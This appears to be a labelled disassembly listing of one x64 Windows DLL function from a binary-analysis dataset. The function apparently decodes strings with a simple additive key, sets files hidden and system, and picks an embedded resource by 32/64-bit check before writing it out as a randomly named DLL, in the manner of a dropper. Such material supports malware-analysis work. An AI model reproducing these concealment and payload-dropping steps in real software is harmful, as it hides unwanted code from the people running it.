Function at 0x180015b20
Capabilities:
Extract resource via kernel32 functions
Set file attributes

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1d8
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x1c8], rax
mov ebp, r9d
mov dword [rsp + 0x44], r9d
mov rbx, r8
mov qword [rsp + 0x60], rbx
mov r12d, edx
mov dword [rsp + 0x40], edx
mov rsi, rcx
mov qword [rsp + 0x70], rcx
mov rax, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x248]
mov r13, qword [rsp + 0x250]
mov qword [rsp + 0x68], r13
lea r15, [0x18002e4fb]
mov rdx, r15
test rax, rax
cmovne rdx, rax
mov qword [rsp + 0x58], rdx
lea rax, [0x180033a44]
test rcx, rcx
cmovne rax, rcx
mov qword [rsp + 0x50], rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r15
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, r15
call fcn.1800012d0
mov r14, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r15
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, r15
call fcn.1800012d0
mov r15, rax
xor r8d, r8d
mov edx, r12d
mov rcx, rsi
call fcn.180003500
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call fcn.180003500
call fcn.1800137e0
mov rdx, qword [rax + 8]
lea rcx, str._ssccon0987.txt
call fcn.1800018a0
mov rbp, rax
mov qword [rsp + 0x48], rax
call fcn.180013910
mov rcx, qword [rax + 8]
call fcn.180005810
call fcn.180013910
mov rcx, qword [rax + 8]
call fcn.180005810
call fcn.1800137e0
mov rcx, qword [rax + 8]
call fcn.180005810
call fcn.180013910
mov edx, 6
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.180013910
mov edx, 6
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.1800137e0
mov edx, 6
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.180013910
mov rbx, rax
call fcn.180013910
mov rdi, rax
call fcn.1800137e0
mov r9, qword [rbx + 8]
mov r8, qword [rdi + 8]
mov rdx, qword [rax + 8]
lea rcx, [0x180033a58]
call fcn.180003b60
mov rcx, qword [rbp + 8]
call fcn.180001fb0
mov rbx, rax
xor ebp, ebp
test rax, rax
je 0x180015dc2
mov rdx, qword [rax + 8]
mov edi, ebp
cmp dword [rax + 4], ebp
jle 0x180015d0e
nop dword [rax + rax]
lea rcx, str._abd04
cmp byte [str._abd04], bpl
je 0x180015d09
mov eax, edi
inc edi
cmp eax, dword [rbx + 4]
jge 0x180015d09
movzx eax, byte [rcx]
add byte [rdx], al
inc rcx
inc rdx
cmp byte [rcx], bpl
jne 0x180015cf0
cmp edi, dword [rbx + 4]
jl 0x180015ce0
mov rcx, rbx
call fcn.180002580
mov r13, rax
mov r12d, ebp
mov ecx, dword [rax + 0xc]
mov rsi, rbp
test ecx, ecx
jle 0x180015d6f
cmp r12d, ecx
jge 0x180015d3a
test rsi, rsi
js 0x180015d3a
mov rax, qword [r13 + 0x10]
mov rdi, qword [rax + rsi*8]
jmp 0x180015d3d
mov rdi, rbp
cmp dword [rdi + 4], ebp
jle 0x180015d60
mov edx, 1
mov rcx, qword [rdi + 8]
call fcn.180005a80
mov rdx, qword [rdi + 8]
lea rcx, [0x180033a70]
call fcn.180003b60
inc r12d
inc rsi
mov ecx, dword [r13 + 0xc]
cmp r12d, ecx
jl 0x180015d26
mov dl, 1
mov rcx, r13
call fcn.1800016d0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180015d89
mov edx, dword [rbx]
call fcn.180001240
mov rsi, qword [0x18003be50]
lea rdi, [rbx - 8]
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 8]
mov qword [rdi], rax
mov qword [rsi + 8], rdi
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rsi, qword [rsp + 0x70]
mov r12d, dword [rsp + 0x40]
mov r13, qword [rsp + 0x68]
xor eax, eax
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0x1b8], eax
mov edx, 8
lea rcx, [rsp + 0x1b0]
call fcn.1800042c0
lea rdi, [rsp + 0x1b0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str..dll]
mov dword [rdi - 1], eax
movzx eax, byte [0x180033a84]
mov byte [rdi + 3], al
call fcn.180013910
lea r9, [rsp + 0x1b0]
mov r8, qword [rax + 8]
lea rdx, str._s_s
mov rcx, r14
call fcn.180001ad0
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x180015e67
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180015dd3
mov r8d, r12d
mov rdx, rsi
mov rcx, qword [r14 + 8]
call fcn.180003830
mov rdx, qword [r14 + 8]
lea rcx, [0x180033a88]
call fcn.180003b60
xor eax, eax
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0x1b8], eax
lea edx, [rax + 8]
lea rcx, [rsp + 0x1b0]
call fcn.1800042c0
lea rdi, [rsp + 0x1b0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str..dll]
mov dword [rdi - 1], eax
movzx eax, byte [0x180033a84]
mov byte [rdi + 3], al
call fcn.180013910
lea r9, [rsp + 0x1b0]
mov r8, qword [rax + 8]
lea rdx, str._s_s
mov rcx, r15
call fcn.180001ad0
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x180015f29
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180015e86
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [r15 + 8]
call fcn.180003830
mov rdx, qword [r15 + 8]
lea rcx, [0x180033a88]
call fcn.180003b60
call fcn.180013910
mov rdi, rax
call fcn.180013910
mov r8, qword [rdi + 8]
mov rdx, qword [rax + 8]
lea rcx, str._s_r_n_s
call fcn.1800018a0
mov r11, rax
mov rdx, qword [rax + 8]
mov edi, ebp
cmp dword [rax + 4], ebp
jle 0x180015fb0
lea r8, str._abd04
mov rcx, r8
cmp byte [str._abd04], bpl
je 0x180015faa
nop
mov eax, edi
inc edi
cmp eax, dword [r11 + 4]
jge 0x180015faa
movzx eax, byte [rcx]
sub byte [rdx], al
inc rcx
inc rdx
cmp byte [rcx], bpl
jne 0x180015f90
cmp edi, dword [r11 + 4]
jl 0x180015f82
mov r8d, dword [r11 + 4]
mov rdx, qword [r11 + 8]
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + 8]
call fcn.180003830
test r13, r13
jne 0x18001603c
mov rdi, qword [0x18003be50]
mov rbx, rbp
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp qword [rdi + 8], rbx
jne 0x180015fed
mov rcx, rdi
call fcn.180001000
mov rax, qword [rdi + 8]
test rax, rax
je 0x180016000
mov rbx, rax
mov rax, qword [rax]
mov qword [rdi + 8], rax
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x180016034
lea rdi, [rbx + 8]
test rdi, rdi
je 0x180016034
mov dword [rdi + 4], ebp
mov rdx, rdi
mov ecx, recvfrom
call fcn.180001120
mov qword [rdi + 8], rax
mov byte [rax], bpl
jmp 0x1800160d0
mov rdi, rbp
jmp 0x1800160d0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r13
repne scasb al, byte [rdi]
not rcx
lea rsi, [rcx - 1]
mov rdi, qword [0x18003be50]
mov rbx, rbp
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp qword [rdi + 8], rbx
jne 0x180016070
mov rcx, rdi
call fcn.180001000
mov rax, qword [rdi + 8]
test rax, rax
je 0x180016083
mov rbx, rax
mov rax, qword [rax]
mov qword [rdi + 8], rax
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x1800160cd
lea rdi, [rbx + 8]
test rdi, rdi
je 0x1800160cd
mov dword [rdi + 4], esi
lea ecx, [rsi + 1]
mov rdx, rdi
call fcn.180001120
mov qword [rdi + 8], rax
test esi, esi
jle 0x1800160c0
movsxd r8, dword [rdi + 4]
mov rdx, r13
mov rcx, rax
call fcn.18001fc00
movsxd rcx, esi
mov rax, qword [rdi + 8]
mov byte [rcx + rax], bpl
jmp 0x1800160d0
mov rdi, rbp
mov ebx, ebp
cmp dword [rdi], ebx
jle 0x180016171
mov ecx, dword [rdi + 4]
test ecx, ecx
jle 0x18001615f
test ecx, ecx
jle 0x180016168
mov rdx, qword [rdi + 8]
nop dword [rax]
movsxd rax, ebx
mov al, byte [rax + rdx]
cmp al, byte [0x18002e4fc]
je 0x18001610d
inc ebx
cmp ebx, ecx
jl 0x1800160f0
lea r13, [0x18002e4fb]
jmp 0x180016181
test ebx, ebx
js 0x18001617a
lea r13, [0x18002e4fb]
nop dword [rax + rax]
mov r8d, 1
mov edx, ebx
mov rcx, rdi
call fcn.1800015f0
xor r9d, r9d
mov r8, r13
mov edx, ebx
mov rcx, rdi
call fcn.1800014e0
mov r9d, 1
lea r8, [0x18002e4fc]
mov edx, ebx
mov rcx, rdi
call fcn.180001350
mov ebx, eax
test eax, eax
jns 0x180016120
jmp 0x180016181
lea r13, [0x18002e4fb]
jmp 0x180016181
lea r13, [0x18002e4fb]
jmp 0x180016181
lea r13, [0x18002e4fb]
jmp 0x180016181
lea r13, [0x18002e4fb]
mov ebx, ebp
cmp dword [rdi], ebx
jle 0x180016205
mov ecx, dword [rdi + 4]
test ecx, ecx
jle 0x180016205
test ecx, ecx
jle 0x180016205
mov rdx, qword [rdi + 8]
nop word [rax + rax]
movsxd rax, ebx
mov al, byte [rax + rdx]
cmp al, byte [0x18002e550]
je 0x1800161b6
inc ebx
cmp ebx, ecx
jl 0x1800161a0
jmp 0x180016205
test ebx, ebx
js 0x180016205
nop word [rax + rax]
mov r8d, 1
mov edx, ebx
mov rcx, rdi
call fcn.1800015f0
mov r9d, 1
lea r8, [0x18002e560]
mov edx, ebx
mov rcx, rdi
call fcn.1800014e0
lea edx, [rbx + 1]
mov r9d, 1
lea r8, [0x18002e550]
mov rcx, rdi
call fcn.180001350
mov ebx, eax
test eax, eax
jns 0x1800161c0
call fcn.180013910
mov rcx, qword [rdi + 8]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rcx
mov r9, qword [rax + 8]
mov r8, qword [r15 + 8]
mov rdx, qword [r14 + 8]
lea rcx, [rsp + 0x80]
call fcn.180014130
nop
cmp byte [rsp + 0x260], 0
jne 0x180016417
lea rcx, [0x180033aa0]
call fcn.180003b60
mov dword [rsp + 0x40], ebp
lea rcx, [0x180032d18]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.IsWow64Process
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x180016294
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x40]
call rdi
cmp dword [rsp + 0x40], 0
je 0x180016364
call fcn.180007080
test eax, eax
je 0x180016417
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rsi, rax
test rax, rax
jne 0x1800162c5
mov rsi, rbp
jmp 0x1800162dc
mov dword [rax + 4], ebp
mov rdx, rax
mov ecx, 0x2800
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], 0
mov rbx, qword [0x18003dff8]
lea r8, [0x180033984]
mov edx, 0x67
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r12, rax
test rax, rax
jne 0x18001630e
lea rcx, [0x1800329f8]
call fcn.180003ac0
jmp 0x18001634e
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov dword [rsi + 4], ebp
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.180001980
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov edx, reloc.WS2_32.dll_inet_ntoa
lea r8d, [rdx - 6]
mov rcx, rsi
call fcn.180005630
jmp 0x180016417
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rsi, rax
test rax, rax
jne 0x18001637d
mov rsi, rbp
jmp 0x180016394
mov dword [rax + 4], ebp
mov rdx, rax
mov ecx, 0x2800
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], 0
mov rbx, qword [0x18003dff8]
lea r8, [0x180033984]
mov edx, 0x66
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r12, rax
test rax, rax
jne 0x1800163c6
lea rcx, [0x1800329f8]
call fcn.180003ac0
jmp 0x180016406
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov dword [rsi + 4], ebp
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.180001980
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov edx, reloc.WS2_32.dll_inet_ntoa
lea r8d, [rdx - 6]
mov rcx, rsi
call fcn.180005630
mov qword [rsp + 0x28], r13
lea rax, [0x180033760]
mov qword [rsp + 0x20], rax
mov r9, r13
lea r8, [0x18003375c]
mov rdx, qword [r14 + 8]
mov rax, qword [rsp + 0x1a8]
mov ecx, dword [rax + 8]
call fcn.1800134d0
mov rdi, rax
mov rdx, qword [rax + 8]
lea rcx, str.XXX__s
call fcn.180003b60
mov rcx, qword [rdi + 8]
call fcn.180005d10
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x180016472
mov edx, dword [rdi]
call fcn.180001240
mov rsi, qword [0x18003be50]
add rdi, 0xfffffffffffffff8
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 8]
mov qword [rdi], rax
mov qword [rsi + 8], rdi
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp byte [rsp + 0x258], 0
jne 0x180016535
mov rax, qword [rsp + 0x1a8]
mov ecx, dword [rax + 8]
test ecx, ecx
cmove r14, r15
mov qword [rsp + 0x28], r13
lea rax, [0x180033764]
mov qword [rsp + 0x20], rax
mov r9, r13
lea r8, [0x18003375c]
mov rdx, qword [r14 + 8]
call fcn.180013660
mov rdi, rax
mov rdx, qword [rax + 8]
lea rcx, [0x180033ac0]
call fcn.180003b60
mov rcx, qword [rdi + 8]
call fcn.180005d10
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x18001650b
mov edx, dword [rdi]
call fcn.180001240
mov rsi, qword [0x18003be50]
add rdi, 0xfffffffffffffff8
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 8]
mov qword [rdi], rax
mov qword [rsi + 8], rdi
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp byte [rsp + 0x268], 0
jne 0x180016552
lea rcx, [0x180033ad8]
call fcn.180003b60
xor ecx, ecx
call fcn.180015690
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x1a8]
test rax, rax
je 0x180016575
cmp dword [rax], 0
jne 0x180016575
cmp dword [rax + 4], 0
je 0x18001657c
inc ebp
cmp ebp, 0x32
jl 0x180016565
lea rcx, [rsp + 0x80]
call fcn.180013d30
xor eax, eax
mov rcx, qword [rsp + 0x1c8]
xor rcx, rsp
call fcn.1800178a0
add rsp, 0x1d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret